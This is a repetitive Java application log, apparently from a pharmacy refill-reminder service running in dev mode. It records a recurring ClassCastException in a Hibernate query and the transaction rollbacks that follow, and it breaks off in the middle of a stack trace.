INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 10:35:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 10:35:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 10:35:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 10:35:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 10:35:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 10:35:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 10:35:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 10:35:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 10:35:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 10:35:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 10:35:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 10:35:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 10:40:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 10:40:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 10:40:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 10:40:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 10:40:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 10:40:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 10:40:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 10:40:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 10:40:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 10:40:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 10:40:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 10:40:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 10:40:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 10:40:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 10:45:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 10:45:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 10:45:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 10:45:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 10:45:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 10:45:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 10:45:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 10:45:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 10:45:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 10:45:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 10:45:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 10:45:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 10:45:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 10:45:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 10:50:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 10:50:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 10:50:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 10:50:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 10:50:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 10:50:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 10:50:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 10:50:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at 